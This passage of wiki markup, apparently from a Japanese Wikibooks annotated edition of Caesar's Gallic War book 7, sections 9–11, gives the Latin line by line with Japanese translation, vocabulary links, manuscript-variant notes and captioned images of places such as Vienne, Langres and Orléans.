*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/9節]]　{{進捗|00%|2026-01-12}}&lt;/span&gt;
;カエサルが北上して諸軍団と合流するが、同盟軍はゴルゴビナ攻略をめざす
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; At Caesar, [[wikt:en:biduum#Latin|biduum]] in his locis [[wikt:en:moratus#Participle|moratus]], 
**それに対して、カエサルは2日間、この地に留まった。
*quod haec de [[wikt:en:Vercingetorix#Latin|Vercingetorige]] usu ventura [[wikt:en:opinio#Latin|opinione]] [[wikt:en:praeceperat|praeceperat]], 
**──というのは、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]についてこれ&lt;small&gt;〔陣営の移動〕&lt;/small&gt;が起こると予想をしていたからだが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：usu venire 「起こる」→&amp;nbsp; usu [[wikt:en:venturus#Latin|ventūra]] (esse) 「起こるであろう」）&lt;/span&gt;
*per causam [[wikt:en:supplementum#Latin|supplementi]] [[wikt:en:equitatus#Noun|equitatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:cogendus#Latin|cogendi]] 
**補充兵と騎兵隊を徴集するためという口実のもとに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：per causam 「口実のもとに」）&lt;/span&gt;
*ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:discedit|discedit]]; 
**軍隊から離れる。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:Brutus#Latin|Brutum]] [[wikt:en:adulescens#Noun|adulescentem]] his copiis [[wikt:en:praeficit|praeficit]]; 
**&lt;small&gt;（カエサルは）&lt;/small&gt;&lt;u&gt;青年ブルートゥス&lt;/u&gt;にこの軍勢を指揮させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：青年ブルートゥスとは、&lt;br&gt;　　　　[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ブルートゥス]]（&lt;small&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/small&gt;）のことで、&lt;br&gt;　　　　[[ガリア戦記 第3巻#14節|第3巻14節]]でカエサルの艦隊を指揮した。）&lt;/span&gt;
*hunc [[wikt:en:monet#Latin|monet]], ut in omnes partes [[wikt:en:eques#Latin|equites]] quam [[wikt:en:late#Latin|latissime]] [[wikt:en:pervagentur|pervagentur]]: 
**彼には、[[w:騎兵|騎兵]]たちがあらゆる方面にできるだけ広く駆け回るようにと、忠告する。
*&lt;u&gt;daturum&lt;/u&gt; se &lt;u&gt;operam&lt;/u&gt;, ne longius [[wikt:en:triduum#Latin|triduo]] ab [[wikt:en:castra#Latin|castris]] [[wikt:en:absit#Latin|absit]]. 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は、3日間より長く陣営から離れないように、努力をするであろう、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:opera#Latin|operam]] dare 「努力をする」→&amp;nbsp; operam  [[wikt:en:daturus#Latin|datūrum]] (esse) 「努力をするであろう」）&lt;/span&gt;
[[画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。]]
:　
;　　　カエサルが、急いでウィエンナへ北進する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:constitutus#Participle|constitutis]] rebus, 
**これらの事を決定すると、
*&lt;u&gt;omnibus&lt;/u&gt; suis [[wikt:en:inopinans#Latin|inopinantibus]], 
**配下の皆が予期しないほど、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：omnibus は &amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
*quam [[wikt:en:maximus#Latin|maximis]] potest [[wikt:en:iter#Latin|itineribus]], 
**できるかぎりの強行軍で、
*[[wikt:en:Vienna#Etymology_1|Viennam]] [[wikt:en:pervenit#Latin|pervenit]]. 
**&lt;u&gt;ウィエンナ&lt;/u&gt;に到着する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ウィエンナ [[w:la:Vienna|Vienna]] は、&lt;br&gt;　　　　　現在の[[w:ヴィエンヌ (イゼール県)|ヴィエンヌ]] ''[[w:en:Vienne, Isère|Vienne]]''）&lt;/span&gt;
:　
;　　　カエサルが、ハエドゥイー族領を抜けて、2個軍団が冬営するリンゴネース族領へ向けて北上する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ibi#Latin|Ibi]] [[wikt:en:nactus#Latin|nactus]] [[wikt:en:recens#Latin|recentem]] [[wikt:en:equitatus#Latin|equitatum]], quem [[wikt:en:multus#Latin|multis]] ante diebus eo [[wikt:en:praemiserat|praemiserat]], 
**そこで、何日も前にそこに先遣していたまだ新兵の騎兵隊を得て、
[[画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色]]
*neque [[wikt:en:diurnus#Latin|diurno]] neque [[wikt:en:nocturnus#Latin|nocturno]] itinere [[wikt:en:intermissus#Latin|intermisso]] 
**昼間も夜間も行軍を中断せずに、
*per fines [[wikt:en:Aedui#Latin|Haeduorum]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領土を通って、
*in [[wikt:en:Lingones#Latin|Lingones]] [[wikt:en:contendit|contendit]], 
**&lt;u&gt;リンゴネース族のところ&lt;/u&gt;に急いだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リンゴネース族 [[w:la:Lingones|Lingones]] の首邑は&lt;br&gt;　　　　　現在の[[w:ラングル|ラングル]] ''[[w:en:Langres|Langres]]'' で、&lt;br&gt;　　　　　ローマ時代には [[w:la:Andematunnum|Andematunnum]] と呼ばれたが、&lt;br&gt;　　　　''[[wikt:fr:Lingones|Lingones]]'' の転訛が ''[[wikt:fr:Langres|Langres]]'' である。）&lt;/span&gt;
*[[wikt:en:ubi#Latin|ubi]] [[wikt:en:duo#Latin|duae]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:hiemabant|hiemabant]], 
**そこには、2個[[w:ローマ軍団|軍団]]が冬営していた。
*ut, si [[wikt:en:aliquis#Latin|quid]] etiam de sua [[wikt:en:salus#Latin|salute]] ab [[wikt:en:Aedui#Latin|Haeduis]] [[wikt:en:iniretur|iniretur]] [[wikt:en:consilium#Latin|consilii]], [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:praecurreret|praecurreret]]. 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自らの安全についてさえ、ハエドゥイー族により何らかの謀計が始められても、速やかに凌駕するように。
:　
;　　　カエサルが、リンゴネース族領の軍団冬営地へ到着して、諸軍団へ集結を指令する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:pervenisset|pervenisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへ到着したときに、
*ad reliquas [[wikt:en:legio#Latin|legiones]] [[wikt:en:mittit|mittit]] 
**残りの軍団のもとへ&lt;small&gt;（伝令を）&lt;/small&gt;遣わす。
*&lt;u&gt;prius&lt;/u&gt;que omnes in unum locum [[wikt:en:cogit|cogit]], &lt;u&gt;quam&lt;/u&gt; de eius [[wikt:en:adventus#Latin|adventu]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:nuntiari|nuntiari]] [[wikt:en:posset#Latin|posset]]. 
**彼の到着について[[w:アルウェルニ族|アルウェルニー族]]に知らされ得るより早く、総勢が一か所に集結するように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:priusquam#Latin|prius ～ quam]] …；…より早く～）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ボイイー族がいるゴルゴビナの攻略を企図する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Hac re [[wikt:en:cognitus#Participle|cognita]], 
**この事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] rursus in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reducit|reducit]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は再びビトゥリゲース族のところに軍隊を連れ戻して、
*atque [[wikt:en:inde#Latin|inde]] [[wikt:en:profectus#Participle_2|profectus]] Gorgobinam, [[wikt:en:Boii#Latin|Boiorum]] [[wikt:en:oppidum#Latin|oppidum]], 
**そこから、[[w:ボイイ族|ボイイー族]]の城塞都市であるゴルゴビナへ出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ゴルゴビナ ''[[w:en:Gorgobina|Gorgobina]]'' は、現在の候補地としては、&lt;br&gt;　　　　　[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリズ＝ル＝シャテル&lt;small&gt;（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）&lt;/small&gt;&lt;br&gt;　　　　　[[w:アンドル＝エ＝ロワール県|アンドル＝エ＝ロワール県]]のラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）&lt;br&gt;　　　　あるいは、[[w:シェール県|シェール県]]のサン＝サテュル（[[w:fr:Saint-Satur|Saint-Satur]]）などが挙げられている。）&lt;/span&gt;
*quos ibi [[wikt:en:helvetico|Helvetico]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:victus#Participle|victos]] 
**──[[w:ヘルウェティイ族|ヘルウェーティイー族]]の戦闘で打ち負かされた彼らをそこに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ボイイー族はヘルウェーティイー族とともにガッリアに移動して、カエサルに敗れていた。第1巻28節～29節を参照。）&lt;/span&gt;
*Caesar [[wikt:en:conlocaverat#Latin|conlocaverat]] [[wikt:en:Aedui#Latin|Haeduis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adtribuerat#Latin|adtribuerat]], 
**カエサルは宿営させ、ハエドゥイー族&lt;small&gt;（の庇護）&lt;/small&gt;に委ねていたのだが、──
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]].
**&lt;small&gt;（ウェルキンゲトリークスはゴルゴビナの）&lt;/small&gt;攻略を決意した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===10節===
[[画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/10節]]　{{進捗|00%|2026-01-16}}&lt;/span&gt;
;カエサルがアゲディンクムを発って、ボイイー族支援に向かう
:　
;　　　カエサルが抱えることになった「大きな困難」とは？
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Magnam haec res Caesari [[wikt:en:difficultas#Latin|difficultatem]] ad [[wikt:en:consilium#Latin|consilium]] [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:adferebat|adferebat]]&lt;!--:--&gt;, 
**この事態は、カエサルが作戦を立てるためには、大きな困難を引き起こしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：haec res 「この事態」とは、&lt;br&gt;　　　　　ウェルキンゲトリークスが&lt;br&gt;　　　　　ハエドゥイー族の庇護下にあったボイイー族を攻めること。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：magnam ～ difficultatem 「大きな困難を」）&lt;/span&gt;
*si reliquam partem [[wikt:en:hiems#Latin|hiemis]] uno loco [[wikt:en:legio#Latin|legiones]] [[wikt:en:contineret|contineret]], 
**もし、冬の残りの期間に、諸[[w:ローマ軍団|軍団]]を1か所に留めておくならば、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前節で述べられたように、&lt;br&gt;　　　　　カエサルはリンゴネース族の軍団冬営地に着いたときに、&lt;br&gt;　　　　　諸軍団に1か所に集結するべく伝令を遣わしていた。）&lt;/span&gt;
*ne, [[wikt:en:stipendiarius#Latin|stipendiariis]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:expugnatus#Latin|expugnatis]], [[wikt:en:cunctus#Latin|cuncta]] Gallia [[wikt:en:deficeret|deficeret]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]の朝貢国が攻略されて、ガッリア全体が背くのではないか？
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「ハエドゥイー族の朝貢国」とは、ボイイー族のこと。）&lt;/span&gt;
*quod [[wikt:en:nullus#Determiner|nullum]] amicis in eo [[wikt:en:praesidium#Latin|praesidium]] &lt;u&gt;videret positum esse&lt;/u&gt;; 
**──というのは、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;においては、友邦に対するいかなる守備隊も置かれていないと&lt;small&gt;（ガッリアが）&lt;/small&gt;見るからである──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　[[ガリア戦記/注解編/写本と校訂版#写本の系図|&amp;alpha;系写本]]のうち、&amp;chi;系･M･B･S写本などでは [[wikt:en:videret|videret]] [[wikt:en:positus#Latin|positum]] esse 、&lt;br&gt;　　　　　&amp;alpha;系写本のうち、写本M･L･Nなどでは [[wikt:en:videretur|videretur]] positum esse 、&lt;br&gt;　　　　　&amp;beta;系写本では、positum videret となっている。）&lt;/span&gt;
*si [[wikt:en:mature#Adverb|maturius]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:educeret|educeret]], 
**もし、尚早に冬営地から&lt;small&gt;（諸軍団を）&lt;/small&gt;進発させれば、
*ne ab re [[wikt:en:frumentarius#Latin|frumentaria]] [[wikt:en:durus#Latin|duris]] [[wikt:en:subvectio#Latin|subvectionibus]] [[wikt:en:laboraret|laboraret]]. 
**&lt;small&gt;（降雪時期の）&lt;/small&gt;糧秣供給の厄介な輸送によって苦労するのではないか？
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Praestare&lt;/u&gt; [[wikt:en:visus#Participle|visum]] est tamen omnes [[wikt:en:difficultas#Latin|difficultates]] [[wikt:en:perpeti#Verb|perpeti]], 
**しかしながら、あらゆる困難に耐えることの方が&lt;u&gt;優っている&lt;/u&gt;ように見える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～が優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:tantus#Latin|tanta]] [[wikt:en:contumelia#Latin|contumelia]] [[wikt:en:acceptus#Latin|accepta]] omnium suorum [[wikt:en:voluntas#Latin|voluntates]] [[wikt:en:alienare#Latin|alienare]]. 
**これほどの恥辱を受けて、配下の皆の意欲を遠ざけてしまう&lt;u&gt;よりは&lt;/u&gt;。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque [[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]] de [[wikt:en:supportandus#Latin|supportando]] [[wikt:en:commeatus#Noun|commeatu]], 
**こうして、&lt;small&gt;（カエサルは）&lt;/small&gt;ハエドゥイー族に軍需物資の輸送について、激励して、
*[[wikt:en:praemittit|praemittit]] ad [[wikt:en:Boii#Latin|Boios]], qui de suo [[wikt:en:adventus#Latin|adventu]] [[wikt:en:doceant|doceant]] 
**[[w:ボイイ族|ボイイー族]]のもとへ、&lt;small&gt;（カエサル）&lt;/small&gt;自らの到着について知らせるための者たちを先遣して、
*[[wikt:en:hortentur|hortentur]]&lt;nowiki&gt;que&lt;/nowiki&gt; ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]] atque hostium [[wikt:en:impetus#Latin|impetum]] magno animo [[wikt:en:sustineant|sustineant]]. 
**&lt;small&gt;（カエサルへの）&lt;/small&gt;信義に留まって、敵たちの襲撃に大いなる決意をもって持ちこたえるように、と激励させた。
[[画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。]]
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Duabus [[wikt:en:Agedincum#Latin|Agedinci]] legionibus atque [[wikt:en:impedimentum#Latin|impedimentis]] [[wikt:en:totus#Latin|totius]] [[wikt:en:exercitus#Noun|exercitus]] [[wikt:en:relictus#Latin|relictis]], 
**アゲディンクムに、2個軍団および軍隊全体の輜重を残すと、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：アゲディンクムは敵対するセノネース族の首邑だが、&lt;br&gt;　　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で6個軍団を冬営させていた。&lt;br&gt;　　　　　現在の[[w:サンス|サーンス]]。）&lt;/span&gt;
*ad [[wikt:en:Boii#Latin|Boios]] [[wikt:en:proficiscitur|proficiscitur]].
**[[w:ボイイ族|ボイイー族]]のもとへ出発した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===11節===
[[画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|thumb|right|250px|ウェッラウノドゥーヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネース族の城塞都市ウェッラウノドゥーヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サーンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/11節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;セノネース族のウェッラウノドゥーヌムを降し、カルヌーテース族のケナブムを攻略
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:alter#Latin|Altero]] die 
**&lt;small&gt;（カエサルは出発して）&lt;/small&gt;翌日に、
*cum ad [[wikt:en:oppidum#Latin|oppidum]] [[wikt:en:Senones#Latin|Senonum]] [[wikt:en:Vellaunodunum#Latin|Vellaunodunum]] [[wikt:en:venisset|venisset]], 
**セノネース族の城塞都市ウェッラウノドゥーヌムへやって来たときに、
*ne [[wikt:en:aliquem|quem]] post se hostem [[wikt:en:relinqueret|relinqueret]], 
**自らの後方に何らかの敵を残しておかないように、
*[[wikt:en:quo#Latin|quo]] [[wikt:en:expeditior#Latin|expeditiore]] re [[wikt:en:frumentarius#Adjective|frumentaria]] [[wikt:en:uteretur|uteretur]], 
**そのことにより、妨げなく糧秣供給を享受するように、
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]] 
**&lt;small&gt;（同市の）&lt;/small&gt;攻囲を決めて、
*&lt;u&gt;idque&lt;/u&gt; [[wikt:en:biduum#Latin|biduo]] [[wikt:en:circumvallavit|circumvallavit]]; 
**それ&lt;small&gt;〔城塞都市〕&lt;/small&gt;を2日間で&lt;small&gt;（塁壁で）&lt;/small&gt;囲んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eo#Etymology_4|eo]]&lt;nowiki&gt;que&lt;/nowiki&gt; となっている。）&lt;/span&gt;
:　
;　　　セノネース族の城塞都市ウェッラウノドゥーヌムが降伏する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:tertius#Latin|tertio]] die 
**3日目に、
*[[wikt:en:missus#Participle|missis]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:legatus#Noun|legatis]] de [[wikt:en:deditio#Latin|deditione]], 
**城塞都市から降伏についての使節たちが遣わされて来て、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:conferri|conferri]], 
**武器が運び集められること、
*[[wikt:en:iumentum#Latin|iumenta]] [[wikt:en:produci#Latin|produci]], 
**役畜が引き渡されること、
*[[wikt:en:sescenti#Latin|sescentos]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**600名の人質が供出されることを&lt;small&gt;（カエサルが）&lt;/small&gt;命じる。
:　
;　　　ウェッラウノドゥーヌムに副官トレボーニスと守備隊を残し、カエサル自身はケナブムへ向かう
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Ea qui [[wikt:en:conficeret|conficeret]], 
**それらのことを成就するための者として、
*[[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Trebonius#Latin|Trebonium]] [[wikt:en:legatus#Latin|legatum]] [[wikt:en:relinquit|relinquit]]. 
**&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; [[w:ガイウス・トレボニウス|ガーイウス・トレボーニウス]]を&lt;small&gt;（ウェッラウノドゥーヌムに）&lt;/small&gt;残留させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:la:Gaius Trebonius|Gaius Trebonius]] は、カエサルの副官の一人。）&lt;/span&gt;
*Ipse, ut quam primum iter &lt;u&gt;faceret&lt;/u&gt;&lt;ref&gt;faceret はα系写本の表記で、β系写本では conficeret となっている。&lt;/ref&gt;, 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身は、できるだけ素早く&lt;small&gt;（ゴルゴビナへの）&lt;/small&gt;行軍を成就するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quam#Adverb|quam]] [[wikt:en:primum#Latin|primum]] 〜「できるだけ素早く〜」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:faceret|faceret]]  だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:conficeret|conficeret]] となっている。）&lt;/span&gt;
*[[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:Carnutes#Latin|Carnutum]] [[wikt:en:proficiscitur|proficiscitur]]; 
**カルヌーテース族のケナブムに出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブム Cenabum はケルト語風の読みで、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; qui tum primum [[wikt:en:adlatus#Latin|adlato]] [[wikt:en:nuntium#Latin|nuntio]] de [[wikt:en:oppugnatio#Latin|oppugnatione]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], 
**そのとき彼ら&lt;small&gt;〔カルヌーテース族〕&lt;/small&gt;は、当初はウェッラウノドゥーヌムの攻囲についての報告をもたらされて、
*cum [[wikt:en:longe#Latin|longius]] eam rem &lt;u&gt;ductum&lt;/u&gt; [[wikt:en:iri#Latin|iri]] [[wikt:en:existimarent|existimarent]], 
**その事･軍事作戦はより長く引き延ばされて行われると考えていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ductus#Noun_2|ductus]] は、軍事的な指揮・作戦などを表す。[[#62節]]も同様。）&lt;/span&gt;
*[[wikt:en:praesidium#Latin|praesidium]] [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:tuendus#Latin|tuendi]] causa, quod eo [[wikt:en:mitterent|mitterent]], [[wikt:en:comparabant|comparabant]]. 
**ケナブムを固守するために、守備隊をそこへ派遣することを準備していた。
:　
;　　　カエサルが、カルヌーテース族の城塞都市ケナブムの攻囲を翌日に延期する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:huc#Latin|Huc]] [[wikt:en:biduum#Latin|biduo]] [[wikt:en:pervenit#Etymology_1|pervenit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;ここ&lt;small&gt;〔ケナブム〕&lt;/small&gt;へ2日間で到着する。
*[[wikt:en:castra#Latin|Castris]] ante oppidum [[wikt:en:positus#Participle|positis]], 
**城塞都市の前に陣営を設置したが、
*[[wikt:en:dies#Latin|diei]] [[wikt:en:tempus#Latin|tempore]] [[wikt:en:exclusus#Latin|exclusus]] 
**日の時刻&lt;small&gt;〔夕刻〕&lt;/small&gt;によって妨げられたので、
*in posterum [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:differt|differt]], 
**翌日に攻囲を延期する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in posterum ＝ in [[wikt:en:posterus#Latin|posterum]] [[wikt:en:diem#Latin|diem]]「翌日に」）&lt;/span&gt;
*[[wikt:en:quisque#Latin|quaeque]] ad eam rem [[wikt:en:usus#Latin|usui]] [[wikt:en:sint#Latin|sint]], 
**その事&lt;small&gt;〔攻囲〕&lt;/small&gt;に有益になることは何であれ、
*[[wikt:en:miles#Latin|militibus]] [[wikt:en:imperat|imperat]]; 
**兵士たちに命令する。

[[画像:Orleans.jpg|thumb|right|400px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; et, quod oppidum [[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:pons#Latin|pons]] [[wikt:en:flumen#Latin|fluminis]] [[wikt:en:Liger#Latin|Ligeris]] [[wikt:en:contingebat|contingebat]], 
**城塞都市ケナブムには、リゲル川の橋が接していたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川は、現在の[[w:ロワール川|ロワール川]]。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]] ne [[wikt:en:noctu#Adverb|noctu]] ex oppido [[wikt:en:profugerent|profugerent]], 
**夜間に城塞都市から&lt;small&gt;（敵勢が）&lt;/small&gt;逃亡するのではないかと恐れて、
*[[wikt:en:duo#Latin|duas]] legiones in [[wikt:en:arma#Latin|armis]] [[wikt:en:excubare|excubare]] [[wikt:en:iubet#Latin|iubet]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;2個[[w:ローマ軍団|軍団]]に武装して寝ずの番をすることを命じる。
:　
;　　　ケナブムの住民たちが退避し始める
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Genabensis#Noun|Cenabenses]] paulo ante mediam noctem 
**ケナブムの人々は、真夜中の少し前に
*[[wikt:en:silentium#Latin|silentio]] ex oppido [[wikt:en:egressus#Participle|egressi]] 
**沈黙のうちに城塞都市から出て、
*flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:coeperunt|coeperunt]]. 
**川を渡り始めた。
:　
;　　　カエサルの諸軍団がケナブムを制圧する
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Qua re per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事が偵察者たちによって報告されると、
*Caesar legiones, quas [[wikt:en:expeditus#Latin|expeditas]] esse [[wikt:en:iusserat|iusserat]] 
**カエサルは、戦備を整えることを命じていた諸軍団を、
*[[wikt:en:porta#Latin|portis]] [[wikt:en:incensus#Participle|incensis]] 
